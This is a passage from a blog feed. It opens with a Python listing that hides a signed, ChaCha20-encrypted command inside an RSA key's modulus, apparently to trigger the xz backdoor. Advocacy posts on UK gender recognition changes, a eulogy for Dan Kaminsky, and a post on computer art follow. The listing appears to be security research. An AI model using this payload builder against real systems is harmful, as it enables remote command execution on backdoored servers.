</td></tr><tr><td class="linenos">110</td><td>
<code><span class="pgcssc1"># xz backdoor precheck fields</span></code>
</td></tr><tr><td class="linenos">111</td><td>
<code><span class="pgcssn">cmd1</span><span class="pgcssp">,</span> <span class="pgcssn">cmd2</span> <span class="pgcsso">=</span> <span class="pgcssn">unpack_from</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;&lt;LL&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">n_bytes</span><span class="pgcssp">,</span> <span class="pgcssmi">0</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">112</td><td>
<code><span class="pgcssn">cmd3</span> <span class="pgcsso">=</span> <span class="pgcssp">((</span><span class="pgcssmi">2</span><span class="pgcsso">**</span><span class="pgcssmi">64</span> <span class="pgcsso">+</span> <span class="pgcssn">COMMAND</span><span class="pgcssp">)</span> <span class="pgcsso">-</span> <span class="pgcssn">cmd1</span> <span class="pgcsso">*</span> <span class="pgcssn">cmd2</span><span class="pgcssp">)</span> <span class="pgcsso">%</span> <span class="pgcssmi">2</span><span class="pgcsso">**</span><span class="pgcssmi">64</span></code>
</td></tr><tr><td class="linenos">113</td><td>
<code><span class="pgcssn">pack_into</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;&lt;Q&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">n_bytes</span><span class="pgcssp">,</span> <span class="pgcssmi">8</span><span class="pgcssp">,</span> <span class="pgcssn">cmd3</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">114</td><td>
</td></tr><tr><td class="linenos">115</td><td>
<code><span class="pgcssc1"># build payload</span></code>
</td></tr><tr><td class="linenos">116</td><td>
<code><span class="pgcssn">hdr_magic</span> <span class="pgcsso">=</span> <span class="pgcsssa">b</span><span class="pgcsss1">&#39;</span><span class="pgcssse">\2\0\0\0</span><span class="pgcsss1">&#39;</span></code>
</td></tr><tr><td class="linenos">117</td><td>
<code><span class="pgcssn">hdr_flags</span> <span class="pgcsso">=</span> <span class="pgcsssa">b</span><span class="pgcsss1">&#39;</span><span class="pgcssse">\0\0\0\0</span><span class="pgcsss1">&#39;</span></code>
</td></tr><tr><td class="linenos">118</td><td>
<code><span class="pgcssn">hdr_ukwn1</span> <span class="pgcsso">=</span> <span class="pgcsssa">b</span><span class="pgcsss1">&#39;</span><span class="pgcssse">\0</span><span class="pgcsss1">&#39;</span></code>
</td></tr><tr><td class="linenos">119</td><td>
<code><span class="pgcssn">hdr_cslen</span> <span class="pgcsso">=</span> <span class="pgcssnb">bytes</span><span class="pgcssp">([</span><span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">command</span><span class="pgcssp">)])</span></code>
</td></tr><tr><td class="linenos">120</td><td>
<code><span class="pgcssn">hdr_ukwn2</span> <span class="pgcsso">=</span> <span class="pgcsssa">b</span><span class="pgcsss1">&#39;</span><span class="pgcssse">\0</span><span class="pgcsss1">&#39;</span></code>
</td></tr><tr><td class="linenos">121</td><td>
<code><span class="pgcssn">header</span> <span class="pgcsso">=</span> <span class="pgcssn">hdr_magic</span> <span class="pgcsso">+</span> <span class="pgcssn">hdr_flags</span> <span class="pgcsso">+</span> <span class="pgcssn">hdr_ukwn1</span> <span class="pgcsso">+</span> <span class="pgcssn">hdr_cslen</span> <span class="pgcsso">+</span> <span class="pgcssn">hdr_ukwn2</span></code>
</td></tr><tr><td class="linenos">122</td><td>
<code><span class="pgcssn">to_sign</span> <span class="pgcsso">=</span> <span class="pgcssnb">bytes</span><span class="pgcssp">(</span><span class="pgcssn">header</span> <span class="pgcsso">+</span> <span class="pgcssn">command</span> <span class="pgcsso">+</span> <span class="pgcssn">srv_pub_hash</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">123</td><td>
<code><span class="pgcssn">signature</span> <span class="pgcsso">=</span> <span class="pgcssn">prv_key</span><span class="pgcsso">.</span><span class="pgcssn">sign</span><span class="pgcssp">(</span><span class="pgcssn">to_sign</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">124</td><td>
<code><span class="pgcssn">plaintext</span> <span class="pgcsso">=</span> <span class="pgcssn">signature</span> <span class="pgcsso">+</span> <span class="pgcssn">command</span></code>
</td></tr><tr><td class="linenos">125</td><td>
<code><span class="pgcssn">ciphertext</span> <span class="pgcsso">=</span> <span class="pgcssn">chacha20</span><span class="pgcssp">(</span><span class="pgcssn">plaintext</span><span class="pgcssp">,</span> <span class="pgcssn">sym_key</span><span class="pgcssp">,</span> <span class="pgcssn">n_bytes</span><span class="pgcssp">[:</span><span class="pgcssmi">16</span><span class="pgcssp">])</span></code>
</td></tr><tr><td class="linenos">126</td><td>
</td></tr><tr><td class="linenos">127</td><td>
<code><span class="pgcssc1"># splice the payload into the modulus</span></code>
</td></tr><tr><td class="linenos">128</td><td>
<code><span class="pgcssn">n_bytes</span> <span class="pgcsso">=</span> <span class="pgcssn">replace_at</span><span class="pgcssp">(</span><span class="pgcssn">n_bytes</span><span class="pgcssp">,</span> <span class="pgcssn">ciphertext</span><span class="pgcssp">,</span> <span class="pgcssmi">16</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">129</td><td>
<code><span class="pgcssn">n</span> <span class="pgcsso">=</span> <span class="pgcssn">mpz_from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">n_bytes</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">130</td><td>
</td></tr><tr><td class="linenos">131</td><td>
<code><span class="pgcssc1"># We&#39;ll choose a new prime `p` randomly, then divide the modulus to get a new</span></code>
</td></tr><tr><td class="linenos">132</td><td>
<code><span class="pgcssc1"># `q`. With this process the lowest bits of the modulus corrosponding to the</span></code>
</td></tr><tr><td class="linenos">133</td><td>
<code><span class="pgcssc1"># size (plus a few) of `p` get scrambled while the upper bits of the modulus</span></code>
</td></tr><tr><td class="linenos">134</td><td>
<code><span class="pgcssc1"># remain fixed. The size of `p` is chosen here such that our payload is kept.</span></code>
</td></tr><tr><td class="linenos">135</td><td>
<code><span class="pgcssc1"># NOTE: The security level of the key scales down with the size of `p`.</span></code>
</td></tr><tr><td class="linenos">136</td><td>
<code><span class="pgcssn">p_bytes</span> <span class="pgcsso">=</span> <span class="pgcssnb">min</span><span class="pgcssp">((</span><span class="pgcssn">RSA_BITS</span> <span class="pgcsso">//</span> <span class="pgcssmi">8</span> <span class="pgcsso">-</span> <span class="pgcssmi">17</span><span class="pgcssp">)</span> <span class="pgcsso">-</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">ciphertext</span><span class="pgcssp">),</span> <span class="pgcssn">RSA_BITS</span> <span class="pgcsso">//</span> <span class="pgcssmi">16</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">137</td><td>
</td></tr><tr><td class="linenos">138</td><td>
<code><span class="pgcssc1"># generate p, q to produce the evil modulus</span></code>
</td></tr><tr><td class="linenos">139</td><td>
<code><span class="pgcssn">tries</span> <span class="pgcsso">=</span> <span class="pgcssmi">0</span></code>
</td></tr><tr><td class="linenos">140</td><td>
<code><span class="pgcssk">while</span> <span class="pgcsskc">True</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">141</td><td>
<code> <span class="pgcssn">p</span> <span class="pgcsso">=</span> <span class="pgcssn">random_prime</span><span class="pgcssp">(</span><span class="pgcssn">p_bytes</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">142</td><td>
<code> <span class="pgcssn">q</span> <span class="pgcsso">=</span> <span class="pgcssn">next_prime</span><span class="pgcssp">(</span><span class="pgcssn">c_div</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">143</td><td>
<code> <span class="pgcssn">n_payload</span> <span class="pgcsso">=</span> <span class="pgcssn">p</span> <span class="pgcsso">*</span> <span class="pgcssn">q</span></code>
</td></tr><tr><td class="linenos">144</td><td>
<code> <span class="pgcssn">n_payload_bytes</span> <span class="pgcsso">=</span> <span class="pgcssn">int_to_bytearray</span><span class="pgcssp">(</span><span class="pgcssn">n_payload</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">145</td><td>
</td></tr><tr><td class="linenos">146</td><td>
<code> <span class="pgcssn">good</span> <span class="pgcsso">=</span> <span class="pgcssmi">0</span></code>
</td></tr><tr><td class="linenos">147</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">i</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">ciphertext</span><span class="pgcssp">)):</span></code>
</td></tr><tr><td class="linenos">148</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">n_payload_bytes</span><span class="pgcssp">[</span><span class="pgcssmi">16</span><span class="pgcsso">+</span><span class="pgcssn">i</span><span class="pgcssp">]</span> <span class="pgcsso">==</span> <span class="pgcssn">ciphertext</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">]:</span> <span class="pgcssn">good</span> <span class="pgcsso">+=</span> <span class="pgcssmi">1</span></code>
</td></tr><tr><td class="linenos">149</td><td>
<code> <span class="pgcssk">else</span><span class="pgcssp">:</span> <span class="pgcssk">break</span></code>
</td></tr><tr><td class="linenos">150</td><td>
</td></tr><tr><td class="linenos">151</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">good</span> <span class="pgcsso">==</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">ciphertext</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">152</td><td>
<code> <span class="pgcssc1"># parameter validation</span></code>
</td></tr><tr><td class="linenos">153</td><td>
<code> <span class="pgcssn">totient</span> <span class="pgcsso">=</span> <span class="pgcssn">lcm</span><span class="pgcssp">(</span><span class="pgcssn">p</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span><span class="pgcssp">,</span> <span class="pgcssn">q</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">154</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">gcd</span><span class="pgcssp">(</span><span class="pgcssn">totient</span><span class="pgcssp">,</span> <span class="pgcssn">RSA_E</span><span class="pgcssp">)</span> <span class="pgcsso">==</span> <span class="pgcssmi">1</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">155</td><td>
<code> <span class="pgcssc1"># compute private exponent</span></code>
</td></tr><tr><td class="linenos">156</td><td>
<code> <span class="pgcssn">d</span> <span class="pgcsso">=</span> <span class="pgcssn">invert</span><span class="pgcssp">(</span><span class="pgcssn">RSA_E</span><span class="pgcssp">,</span> <span class="pgcssn">totient</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">157</td><td>
</td></tr><tr><td class="linenos">158</td><td>
<code> <span class="pgcssn">rsa</span> <span class="pgcsso">=</span> <span class="pgcssn">rsa_construct</span><span class="pgcssp">(</span><span class="pgcssn">n_payload</span><span class="pgcssp">,</span> <span class="pgcssn">RSA_E</span><span class="pgcssp">,</span> <span class="pgcssn">d</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">159</td><td>
<code> <span class="pgcssk">break</span></code>
</td></tr><tr><td class="linenos">160</td><td>
</td></tr><tr><td class="linenos">161</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">tries</span> <span class="pgcsso">:=</span> <span class="pgcssn">tries</span> <span class="pgcsso">+</span> <span class="pgcssmi">1</span> <span class="pgcsso">&gt;</span> <span class="pgcssmi">100</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">162</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;failed to generate key&#39;</span><span class="pgcssp">,</span> <span class="pgcssn">file</span><span class="pgcsso">=</span><span class="pgcssn">stderr</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">163</td><td>
<code> <span class="pgcssn">exit</span><span class="pgcssp">(</span><span class="pgcssmi">1</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">164</td><td>
</td></tr><tr><td class="linenos">165</td><td>
<code><span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcssn">pem_private</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">))</span></code>
</td></tr></tbody></table></div>
<p>I describe a similar technique in detail in my
<a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fcert-tricks.html">Stupid Certificate Tricks</a> post,
and also have an <a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fssh-vanity.html">SSH Vanity Key Generator</a>
available to play with.</p>
UK Slashes Recognition of Foreign Gender Corrections2024-03-19T21:18:00+00:002024-03-19T21:18:00+00:00ryanctag:rya.nc,2024-03-19:/activism/uk-slashes-foreign-gender-recognition.html
<p>Kemi made her plan clear — anywhere offering “self-id” was going to be
purged from the approved list. A statutory instrument to do that was
introduced 6<sup>th</sup> December 2023. It was
<a class="external" href="proxy.php?url=https%3A%2F%2Fstatutoryinstruments.parliament.uk%2Finstrument%2FZUg8pbz0%2Ftimeline%2FjRol4wj1">approved</a> yesterday,
18<sup>th</sup> March
2024. The changes are extensive — twenty-five US states (plus Washington,
DC), four Australian territories, and twenty-five entire countries have been
cut.</p>
<!-- included from `include/globals.rst` -->
<p>Seemingly in response to some combination of Scotland’s now quashed
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.gov.scot%2Fpolicies%2Flgbti%2Fgender-recognition%2F">Gender Recognition Reform</a>
and <a class="external" href="proxy.php?url=https%3A%2F%2Fenby.org.uk">my lawsuit</a>, on the UK’s
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.thepinknews.com%2F2023%2F12%2F11%2Fkemi-badenoch-lgbtq-rights-gay-trans%2F">openly transphobic</a>
“Minister for Women and Equalities”, Kemi Badenoch,
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.gov.uk%2Fgovernment%2Fspeeches%2Fwritten-ministerial-statement-to-parliament-regarding-the-gender-recognition-act-2004-consultation">announced</a>
on 9<sup>th</sup> January 2023 that the list of the foreign countries and territories
for which documentation is accepted under the
<a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FGender_Recognition_Act_2004">Gender Recognition Act 2004</a> (GRA) would be updated.</p>
<p>The GRA’s foreign recognition provision offers a streamlined process to those
who have approved documentation correcting their gender. It sees very little
use, only a handful of people every year. There is no evidence that this
process has ever been abused.</p>
<p>Under the “standard” path for gender recognition in the UK, transgender
individuals must provide extensive evidence that requires a lot of time and
money to obtain. The requirements are so burdensome that less than 5% of
transgender individuals in the UK have been able to obtain a Gender
Recognition Certificate (GRC).</p>
<p>Kemi made her plan clear — anywhere offering “self-id” was going to be
purged from the approved list. A statutory instrument to do that was
introduced 6<sup>th</sup> December 2023. It was
<a class="external" href="proxy.php?url=https%3A%2F%2Fstatutoryinstruments.parliament.uk%2Finstrument%2FZUg8pbz0%2Ftimeline%2FjRol4wj1">approved</a> yesterday,
18<sup>th</sup> March
2024. The changes are extensive — twenty-five US states (plus Washington,
DC), four Australian territories, and twenty-five entire countries have been
cut.</p>
<p><em>Note: as of :ord:`21` March 2024 the SI has not yet been signed into law, but
my understanding is that Kemi is likely to do that any day.</em></p>
<details><summary>List of Countries and Territories Removed: (click/tap to expand)</summary>
<ul class="simple">
<li>United States<ul>
<li>California</li>
<li>Colorado</li>
<li>District of Columbia</li>
<li>Florida</li>
<li>Hawaii</li>
<li>Illinois</li>
<li>Maine</li>
<li>Michigan</li>
<li>Minnesota</li>
<li>Mississippi</li>
<li>Montana</li>
<li>Nevada</li>
<li>New Jersey</li>
<li>New Mexico</li>
<li>New York</li>
<li>Oklahoma</li>
<li>Oregon</li>
<li>Rhode Island</li>
<li>South Carolina</li>
<li>South Dakota</li>
<li>Utah</li>
<li>Vermont</li>
<li>Virginia</li>
<li>Washington</li>
<li>West Virginia</li>
<li>Wyoming</li>
</ul>
</li>
<li>Australia<ul>
<li>Northern Territory</li>
<li>South Australia</li>
<li>Tasmania</li>
<li>Victoria</li>
</ul>
</li>
<li>Austria</li>
<li>Belgium</li>
<li>Bulgaria</li>
<li>Canada</li>
<li>Denmark</li>
<li>Finland</li>
<li>France</li>
<li>Greece</li>
<li>Iceland</li>
<li>Liechtenstein</li>
<li>Luxembourg</li>
<li>Malta</li>
<li>Mexico</li>
<li>Moldova</li>
<li>The Netherlands</li>
<li>New Zealand</li>
<li>Norway</li>
<li>Poland</li>
<li>Russia</li>
<li>Serbia</li>
<li>Singapore</li>
<li>Slovenia</li>
<li>Spain</li>
<li>Switzerland</li>
<li>Uruguay</li>
</ul>
</details><p><p></p></p>
<p>The <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.legislation.gov.uk%2Fukdsi%2F2023%2F9780348254648%2Fpdfs%2Fukdsiem_9780348254648_en_001.pdf">explanitory memorandum</a>
includes a point seemingly aimed at me: “nonbinary people [can] only apply for
a binary identity on their UK GRC.”</p>
<p>This statutory instrument had no rational basis. There is no evidence that
self-id gender recognition systems are abused in any way. The sole intent was
to harm transgender and nonbinary people.</p>
<p><strong>Trans people living in the UK who have recognition from an affected country
or territory can still apply under the old list, but they have very limited
time to do so.</strong></p>
<p>I made what noise I could about this, but I am currently stretched thin. I’m
nonbinary, and three years ago decided to seek legal recognition of my gender
via <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.independent.co.uk%2Fnews%2Fworld%2Famericas%2Fuk-legal-gender-non-binary-lawsuit-b2354169.html">the courts</a>.
When I applied for a GRC using my California birth certificate listing me as
“Nonbinary”, it was actually granted. That was farther than I expected to get,
but unfortunately they refused to put “nonbinary” on a GRC for me, as the law
appears to require.</p>
<p>The legal proceedings are ongoing. I’m
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.crowdjustice.com%2Fcase%2Fnon-binary-recognition%2F">raising funds via CrowdJustice</a>
to offset the costs of the case.
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.crowdjustice.com%2Fcase%2Fnon-binary-recognition%2F">Donations</a> go
directly to
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.leighday.co.uk%2Fnews%2Fnews%2F2023-news%2Flegal-challenge-urges-government-to-give-legal-recognition-to-nonbinary-people%2F">my lawyers</a>.</p>
<p>Aside from donations, I need to get my story out. Please tell others about
what’s happening here.</p>
UK to Curtail Legal Recognition of Trans Immigrants2023-12-11T22:12:00+00:002023-12-11T22:12:00+00:00ryanctag:rya.nc,2023-12-11:/activism/uk-trans-immigrants.html
<p>The UK's “Minister for Women and Equality”, Kemi Badenoch, who openly espouses
hate for LGBTQ+ people, has said that many of these countries and territories
no longer meet British standards. This is because they have followed the
overall world-wide trend of improved rights for transgender people, which the
UK opposes. The precise line between political scapegoating and bigotry on
this issue is unclear.</p>
<!-- included from `include/globals.rst` -->
<p>The UK’s Gender Recognition Act (GRA) was passed in 2004 and provides for legal
gender recognition for transgender individuals. The “standard” route requires
obtaining medical documentation that can take months of waiting and $1,000 USD
or more to obtain. On top of this, applicants must provide evidence that they
have been living in their gender for at least two years — which must be from
multiple points in time from that period. The requirements are so burdensome
that less than 5% of transgender individuals in the UK have been able to
obtain a Gender Recognition Certificate (GRC).</p>
<p>A streamlined process is available to transgender people who have received
legal gender recognition in any country or territory on a pre-approved list.
This is generally as simple as filling out an online application and sending
in a sworn statement with a birth certificate or court order.</p>
<p>The UK's “Minister for Women and Equality”, Kemi Badenoch, who openly espouses
hate for LGBTQ+ people, has said that many of these countries and territories
no longer meet British standards. This is because they have followed the
overall world-wide trend of improved rights for transgender people, which the
UK opposes. The precise line between political scapegoating and bigotry on
this issue is unclear.</p>
<p>In particular, 25 US states and DC are about to be removed from the list:
California, Colorado, District of Columbia, Florida, Hawaii, Illinois, Maine,
Michigan, Minnesota, Mississippi, Montana, Nevada, New Jersey, New Mexico, New
York, Oklahoma, Oregon, Rhode Island, South Carolina, South Dakota, Utah,
Vermont, Virginia, Washington, West Virginia, and Wyoming.</p>
<p>Many countries are also to be removed, and several with extremely poor human
rights records are to be added.</p>
<p><a class="external" href="proxy.php?url=https%3A%2F%2Fwww.legislation.gov.uk%2Fuksi%2F2011%2F1630%2Fschedule%2Fmade">Current list</a></p>
<details><summary>To be removed (click/tap to expand)</summary>
<ul class="simple">
<li>United States<ul>
<li>California</li>
<li>Colorado</li>
<li>District of Columbia</li>
<li>Florida</li>
<li>Hawaii</li>
<li>Illinois</li>
<li>Maine</li>
<li>Michigan</li>
<li>Minnesota</li>
<li>Mississippi</li>
<li>Montana</li>
<li>Nevada</li>
<li>New Jersey</li>
<li>New Mexico</li>
<li>New York</li>
<li>Oklahoma</li>
<li>Oregon</li>
<li>Rhode Island</li>
<li>South Carolina</li>
<li>South Dakota</li>
<li>Utah</li>
<li>Vermont</li>
<li>Virginia</li>
<li>Washington</li>
<li>West Virginia</li>
<li>Wyoming</li>
</ul>
</li>
<li>Australia<ul>
<li>Northern Territory</li>
<li>South Australia</li>
<li>Tasmania</li>
<li>Victoria</li>
</ul>
</li>
<li>Austria</li>
<li>Belgium</li>
<li>Bulgaria</li>
<li>Canada</li>
<li>Denmark</li>
<li>Finland</li>
<li>France</li>
<li>Greece</li>
<li>Iceland</li>
<li>Liechtenstein</li>
<li>Luxembourg</li>
<li>Malta</li>
<li>Mexico</li>
<li>Moldova</li>
<li>The Netherlands</li>
<li>New Zealand</li>
<li>Norway</li>
<li>Poland</li>
<li>Russia</li>
<li>Serbia</li>
<li>Singapore</li>
<li>Slovenia</li>
<li>Spain</li>
<li>Switzerland</li>
<li>Uruguay</li>
</ul>
</details><p><p></p></p>
<details><summary>To be added (click/tap to expand)</summary>
<ul class="simple">
<li>Belarus</li>
<li>Bosnia and Herzegovina</li>
<li>China</li>
<li>Cuba</li>
<li>Georgia</li>
<li>India</li>
<li>Iran</li>
<li>Kazakhstan</li>
<li>Mongolia</li>
<li>Montenegro</li>
<li>Namibia</li>
<li>Panama</li>
<li>Sri Lanka</li>
<li>Taiwan</li>
</ul>
</details><p><a class="external" href="proxy.php?url=https%3A%2F%2Fwww.legislation.gov.uk%2Fukdsi%2F2023%2F9780348254648%2Fschedule">Proposed list</a></p>
<p><a class="external" href="proxy.php?url=https%3A%2F%2Fwww.legislation.gov.uk%2Fukdsi%2F2023%2F9780348254648%2Fpdfs%2Fukdsiem_9780348254648_en_001.pdf">Their justification</a>
[PDF]</p>
<p>Notes from the discussion in parliament:</p>
<p><a class="external" href="proxy.php?url=https%3A%2F%2Fhansard.parliament.uk%2Fcommons%2F2023-12-06%2Fdebates%2FE7306EC2-EFCB-4331-BD82-F01FDF67CCBF%2FGenderRecognition">https://hansard.parliament.uk/commons/2023-12-06/debates/E7306EC2-EFCB-4331-BD82-F01FDF67CCBF/GenderRecognition</a></p>
<p><a class="external" href="proxy.php?url=https%3A%2F%2Fhansard.parliament.uk%2FCommons%2F2023-12-06%2Fdebates%2F5EE7D197-67FF-42B8-B808-E03B904EE559%2FPointsOfOrder">https://hansard.parliament.uk/Commons/2023-12-06/debates/5EE7D197-67FF-42B8-B808-E03B904EE559/PointsOfOrder</a></p>
<p><strong>This is a serious problem for transgender Americans living in the UK, as they
are unlikely to be able to meet the documentation requirements for legal
recognition.</strong></p>
<p>Currently, having a Gender Recognition Certificate does not affect things like
access to appropriate toilets and other gender segregated facilities, but the
British government has been attempting to limit this to only those with GRCs
or remove such rights entirely. Removing the fast track option first could be
a strategy to limit international political backlash.</p>
<p>A further concern is that British law does not have a clear way to legally
determine the gender of anyone without a British birth certificate or GRC.
Americans from affected states could have their gender challenged even if they
aren’t transgender.</p>
<p>I note that in their justification, they explicitly call out that they won’t
accept documents for nonbinary people. This is likely at least partially in
response to
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.independent.co.uk%2Fnews%2Fworld%2Famericas%2Fuk-legal-gender-non-binary-lawsuit-b2354169.html">my lawsuit seeking legal recognition as nonbinary</a>.</p>
<p>It doesn’t seem like there is any way to stop this without international
political pressure — which was brought up as a concern during discussion in
parliament. Let’s create some. If you’re an American, please contact
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.house.gov%2Frepresentatives%2Ffind-your-representative">your congressional representatives</a>
about this as soon as possible.</p>
<p>For your convenience, you can use the following as a starting point:</p>
<blockquote>
<p>The British government is about to remove access to a streamlined
recognition process for transgender Americans who live in the UK. I ask
that you take steps to express policy concerns to the British government
in this matter, and that you do so quickly — swift action may make them
think twice before following through.</p>
<p>In particular, please bring this to the attention of Jessica Stern, the
Department of State’s LGBTQI+ Special Envoy. The official UK government
contact regarding this issue is <a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fmailto%3Apublic.correspondence%40cabinetoffice.gov.uk">[email protected]</a>.</p>
<p>The UK’s Gender Recognition Act was passed in 2004 and allows transgender
individuals to have their gender legally affirmed. As was common at the
time, it required a process involving extensive documentation. To avoid
further burdening people who had already gone through similar legal
processes in their home countries, a streamlined process was included for
them. Eligibility is determined by a pre-approved list.</p>
<p>On December 6th, a draft order was published, which would remove 25 states
and DC from the list:
California, Colorado, District of Columbia, Florida, Hawaii, Illinois,
Maine, Michigan, Minnesota, Mississippi, Montana, Nevada, New Jersey,
New Mexico, New York, Oklahoma, Oregon, Rhode Island, South Carolina,
South Dakota, Utah, Vermont, Virginia, Washington, West Virginia,
and Wyoming.</p>
<p>Most of these states were removed for “no longer meeting British standards”.
In other words, they modernized their legislation to align with emerging
international best practices.</p>
<p>Again, I urge you to take action immediately — these changes are otherwise
likely to pass within the next few weeks.</p>
</blockquote>
Dan Kaminsky - A Eulogy2021-04-24T19:26:00+01:002021-04-24T19:26:00+01:00ryanctag:rya.nc,2021-04-24:/threads/dakami-eulogy.html
<p>I remember attending Dan Kaminsky’s talk at DEFCON 12 and being blown away by
it. Three years later, I went on the original “Hackers on a Plane” trip and
ended up seated next to Dan on one of the flights. We quickly became friends.
His mentorship over the years had an enormous impact on me.</p>
<!-- included from `include/globals.rst` -->
<p><em>Note: This was originally posted as a
<a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fryancdotorg%2Fstatus%2F1385989257638993922">thread on Twitter</a>.
It has been lightly edited and reformatted here for convenience.</em></p>
<p>I remember attending Dan Kaminsky’s talk at DEFCON 12 and being blown away by
it. Three years later, I went on the original “Hackers on a Plane” trip and
ended up seated next to Dan on one of the flights. We quickly became friends.
His mentorship over the years had an enormous impact on me.</p>
<p>We both went back to CCCamp in 2011. I excitedly told him about a reverse DNS
scanning project (0.0.0.0/0 in 12 hours on AWS for like $50), and then we ended
up talking about the Debian RNG bug and password security, walking around camp
watching the lightning in the distance.</p>
<p>When I was doing my original brainwallet research back in 2013 and cracked the
woodchuck wallet the first thing I did after showing my ex (then girlfriend)
was call him. I told him I’d found something but didn’t feel comfortable
discussing over the phone. He invited me over.</p>
<p>My ex and I hopped on BART headed into SF and met him at the loft he was living
at above a motorcycle shop. We talked and carefully planned and then I
accidentally made 250 BTC vanish.</p>
<p>Dan looked at me and said “[my ex] and I are going to go for a walk and return
with burritos. You’re going to calm down and have this fixed by the time we get
back. It’ll be okay.”</p>
<p>It was, and I did. I’d simply forgotten about change addresses for a brief
moment of terror.</p>
<p>I think the first time he mentioned wanting to hire me was a few months later
at a Bitcoin conference in San Jose. He believed in me. I went on to work
alongside him at White Ops (now known as Human Security) in 2014. He brought me
on stage with him at DEFCON that year.</p>
<p>He spent a lot of time helping me put together a CFP submission about my
brainwallet research for DEFCON the following year and then helped me put
together slides, rehearse, and had a professional help me refine everything. I
couldn’t have done it without him.</p>
<p>My wedding was about six weeks before DEFCON - Dan showed up in an Uber, about
an hour late. He explained that he’d confused Menlo Park for Morgan Hill when
planning to leave. I was just thrilled to have him there.</p>
<p>Dan was a supportive friend, a great mentor, and a delightful colleague. I
really can’t overstate what a positive impact he had on my life. It’s hard to
believe he’s really gone. That I’ll never get to swap stories about our
respective side projects with him again.</p>
<p>I miss him.</p>
You Can Create Art and Beauty on a Computer2021-03-28T15:06:00+01:002021-03-28T15:06:00+01:00ryanctag:rya.nc,2021-03-28:/threads/art-and-beauty.html
<p>In the early 90s, when I was in elementary school, I got assigned to write
a report on a topic of my choosing. I decided to write about computer viruses.
There weren’t many books at the time I could use as sources, but I found
Levy’s “Hackers: Heroes of the Computer Revolution”</p>
<p>One thing from the book that stuck with me was “You can create art and beauty
on a computer”.</p>
<!-- included from `include/globals.rst` -->
<p><em>Note: This was originally posted as a
<a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fryancdotorg%2Fstatus%2F1376140245431951360">thread on Twitter</a>.
It has been lightly edited and reformatted here for convenience.</em></p>
<p>In the early 90s, when I was in elementary school, I got assigned to write
a report on a topic of my choosing. I decided to write about computer viruses.
There weren’t many books at the time I could use as sources, but I found
Levy’s “Hackers: Heroes of the Computer Revolution”</p>
<p>One thing from the book that stuck with me was “You can create art and beauty
on a computer”.</p>
<p>This wasn’t just about audio/visual aesthetic, though the demoscene does make
some amazing things there, but also that a clever bit of code could be
considered art in its own right.</p>
<p>Code golf, perl poetry, obfuscated programs, esoteric languages, they’re all
expressions of human skill and creativity, and when executed well they can
evoke emotion.</p>
<p>I think the first thing I made that someone called “art” was a bot I wrote to
play “rock, paper, scissors”.</p>
<p>You can see that bot here: <a class="external" href="proxy.php?url=http%3A%2F%2Frpscontest.com%2Fentry%2F614005">http://rpscontest.com/entry/614005</a></p>
<div class="highlight"><table class="highlighttable"><tbody><tr><td class="linenos">1</td><td>
